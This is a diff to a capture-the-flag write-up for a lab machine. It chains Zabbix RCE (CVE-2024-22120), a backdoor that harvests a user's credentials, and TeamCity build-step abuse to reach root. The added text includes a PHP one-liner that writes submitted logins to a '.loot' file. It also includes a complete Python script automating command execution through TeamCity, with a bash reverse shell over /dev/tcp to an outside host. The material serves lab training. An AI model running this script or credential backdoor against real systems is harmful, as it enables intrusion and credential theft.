3
3
4
4
## Machine Summary
5
5
6
- We first find a Zabbix instance which is a vulnerable version where we can gain RCE via ` CVE-2024-22120 ` . After gaining a shell we can backdoor the application to gain the credentials of another user ` Frank ` . With that user we can login to an internal ` TeamCity ` instance, that runs as ` root ` . Where we can create a pipeline to gain a reverse shell as ` root ` .
6
+ We first find a Zabbix instance which is a vulnerable version where we can gain RCE via ` CVE-2024-22120 ` . After gaining a shell we can backdoor the application to gain the credentials of another user ` Frank ` . With that user we can login to an internal ` TeamCity ` instance, that runs as ` root ` . Where we can access the running agent on local port 9090 to open a terminal as root or create a pipeline to gain a reverse shell as ` root ` .
7
7
8
8
## Recon
9
9
10
+ ### Nmap
10
11
``` ad-summary
11
- title: NMAP
12
- collapse: open
13
-
14
- ```nmap
15
12
nmap -sC -sV -p- --min-rate 1000 10.10.92.19 -oA watcher
16
13
17
14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-25 20:02 CEST
@@ -33,13 +30,6 @@ PORT STATE SERVICE VERSION
33
30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
34
31
```
35
32
36
- ``` ad-important
37
- title: Domains
38
- collapse: open
39
-
40
- - **watcher.vl**
41
- ```
42
-
43
33
## Initial Access
44
34
We are first presented with a normal website. We then perform subdomain enumeration:
45
35
```
@@ -106,6 +96,11 @@ Then we get a request to our server after a few minutes:
106
96
We now have creds:
107
97
- ` Frank ` :` REDACTED `
108
98
99
+ You can also use this oneliner to get the creds in a file like ` .loot ` in the same folder as ` index.php `
100
+ ```
101
+ file_put_contents(".loot", $_POST['name'] . ":" . $_POST['password'] . "\n", FILE_APPEND);
102
+ ```
103
+
109
104
We can now use those creds to access Teamcity.
110
105
<br >
111
106
There is a agent running. Just open the terminal on this one and you can run system commands as root.
@@ -149,3 +144,152 @@ We can then read the flag from the root directory:
149
144
(remote) [email protected] :/root# cat root.txt
150
145
VL{REDACTED}
151
146
```
147
+
148
+ All the steps can be automated.
149
+ <br >
150
+ Authenticate -> Create: project, build config and build step -> Run build with the agent.
151
+
152
+ ``` python
153
+ # !/usr/bin/python3
154
+ import os
155
+ import requests
156
+ import random
157
+ from bs4 import BeautifulSoup
158
+ import argparse
159
+
160
+ parser = argparse.ArgumentParser(description = ' RCE in TeamCity: Tested in TeamCity Professional 2024.03.3 (build 156364)' )
161
+ parser.add_argument(' --url' , required = True , help = ' http://localhost:8111' ,)
162
+ parser.add_argument(' --username' , required = True , help = ' Name of the user' ,)
163
+ parser.add_argument(' --password' , required = True , help = ' Password of the user' ,)
164
+ parser.add_argument(' --cmd' , required = True , help = " bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1'" ,)
165
+ args = parser.parse_args()
166
+
167
+ S = requests.Session()
168
+ headers = {
169
+ ' Content-Type' : ' application/json' ,
170
+ }
171
+ n = random.randint(100 ,999 )
172
+
173
+ r = S.get(args.url+ ' /login.html' )
174
+ soup = BeautifulSoup(r.text, ' lxml' )
175
+ tc_csrf_token = soup.find(' meta' , {' name' :' tc-csrf-token' })[' content' ]
176
+ public_key = soup.find(' input' , {' name' :' publicKey' })[' value' ]
177
+ print (f ' publickey: { public_key} ' )
178
+
179
+ def login ():
180
+ r = S.get(args.url+ ' /httpAuth/app/rest/server' , auth = (args.username, args.password), headers = headers)
181
+ print (f ' login() { r.status_code} ' )
182
+ print (f ' Login with user { args.username} : { args.password} ' )
183
+ r = S.get(args.url+ ' /favorite/projects?mode=builds' )
184
+ soup = BeautifulSoup(r.text, ' lxml' )
185
+ tc_csrf_token = soup.find(' input' , {' name' :' tc-csrf-token' })[' value' ]
186
+ print (f ' CSRF Token: { tc_csrf_token} ' )
187
+ return tc_csrf_token
188
+
189
+ def create_project ():
190
+ project = ' ProjectShell' + str (n)
191
+ data = {
192
+ ' parentId' : ' _Root' ,
193
+ ' name' : project,
194
+ ' externalId' : project,
195
+ ' description' : ' ' ,
196
+ ' submitProject' : ' store' ,
197
+ ' submitCreateProject' : ' Create' ,
198
+ ' tc-csrf-token' : tc_csrf_token,
199
+ }
200
+ r = S.post(args.url+ ' /admin/createProject.html' , data = data)
201
+ print (f ' reate_project() { r.status_code} ' )
202
+ print (f ' Crate new Project: { project} ' )
203
+ return project
204
+
205
+ def create_build_configuration ():
206
+ build_config = project + ' _BuildConfig'
207
+ data = {
208
+ ' parentProjectId' : project,
209
+ ' buildTypeName' : ' build_config' ,
210
+ ' buildTypeExternalId' : build_config,
211
+ ' description' : ' ' ,
212
+ ' -ufd-teamcity-ui-buildConfigurationType' : ' Regular' ,
213
+ ' buildConfigurationType' : ' REGULAR' ,
214
+ ' createBuildType' : ' Create' ,
215
+ ' tc-csrf-token' : tc_csrf_token,
216
+ }
217
+ r = S.post(args.url+ ' /admin/createBuildType.html' , data = data)
218
+ print (f ' create_build_configuration() { r.status_code} ' )
219
+ print (f ' Create Build Configuration: { build_config} ' )
220
+ return build_config
221
+
222
+ def create_build_step ():
223
+ build_step = ' cmd_' + str (n)
224
+ data = {
225
+ " runTypeInfoKey" :" simpleRunner" ,
226
+ " buildStepName" :build_step,
227
+ " newRunnerId" :build_step,
228
+ " prop:teamcity.step.phase" :" " ,
229
+ " -ufd-teamcity-ui-prop:teamcity.step.mode" :" If all previous steps finished successfully" ,
230
+ " prop:teamcity.step.mode" :" default" ,
231
+ " condition[]" :" " ,
232
+ " publicKey" :public_key,
233
+ " prop:teamcity.build.workingDir" :" " ,
234
+ " -ufd-teamcity-ui-prop:use.custom.script" :" Custom script" ,
235
+ " prop:use.custom.script" :True ,
236
+ " prop:command.executable" :" " ,
237
+ " prop:command.parameters" :" " ,
238
+ " prop:script.content" :args.cmd,
239
+ " wrapToggle" :" " ,
240
+ " prop:log.stderr.as.errors" :" " ,
241
+ " prop:plugin.docker.imageId" :" " ,
242
+ " prop:plugin.docker.imagePlatform" :" " ,
243
+ " -ufd-teamcity-ui-prop:plugin.docker.imagePlatform" :" <Any>" ,
244
+ " prop:plugin.docker.run.parameters" :" " ,
245
+ " showDSL=&showDSLVersion" :" " ,
246
+ " showDSLPortable" :" " ,
247
+ " submitButton" :" Save" ,
248
+ " tc-csrf-token" :tc_csrf_token,
249
+ " numberOfSettingsChangesEvents" :3
250
+ }
251
+
252
+ r = S.post(args.url+ f ' /admin/editRunType.html?id=buildType: { build_config} &runnerId=__NEW_RUNNER__&submitBuildType=store ' , data = data)
253
+ print (f ' create_build_step() { r.status_code} ' )
254
+ print (f ' New Build Step: Command Line: { build_step} ' )
255
+ return build_step
256
+
257
+ def run_build ():
258
+ data = {
259
+ " buildTypeId" :build_config,
260
+ " redirectTo" :" " ,
261
+ " stateKey" :" " ,
262
+ " dependOnPromotionIds" :" " ,
263
+ " customBuildDialog" :True ,
264
+ " forceAutoGeneratedBranch" :" " ,
265
+ " personalPatchUploaded" :" " ,
266
+ " -ufd-teamcity-ui-agentId" :" <the fastest idle agent>" ,
267
+ " agentId" :" " ,
268
+ " _personal" :" " ,
269
+ " file%3ApersonalPatch" :" " ,
270
+ " uploadPatch" :True ,
271
+ " buildTypeId" :build_config,
272
+ " stateKey" :" " ,
273
+ " tc-csrf-token" :tc_csrf_token,
274
+ " _moveToTop" :" " ,
275
+ " _cleanSources" :" " ,
276
+ " ring-radio-0-7zy2" :" ASAP" ,
277
+ " buildComment" :" " ,
278
+ " buildTagsInfo" :" " ,
279
+ " _applyToChainBuilds" :" " ,
280
+ " addToFavorite" :True ,
281
+ " _addToFavorite" :" "
282
+ }
283
+ r = S.post(args.url+ ' /runCustomBuild.html' , data = data)
284
+ print (f ' run_build() { r.status_code} ' )
285
+ print (f ' Run Build... ' )
286
+
287
+ tc_csrf_token = login()
288
+ project = create_project()
289
+ build_config = create_build_configuration()
290
+ build_step = create_build_step()
291
+ run_build()
292
+ ```
293
+
294
+ Comamnd to run the script:
295
+ * ` ./teamcity_rce.py --url http://localhost:8111 --username Frank --password 'REDACTED' --cmd "bash -c 'bash -i >& /dev/tcp/REDACTED/9002 0>&1'" `
0 commit comments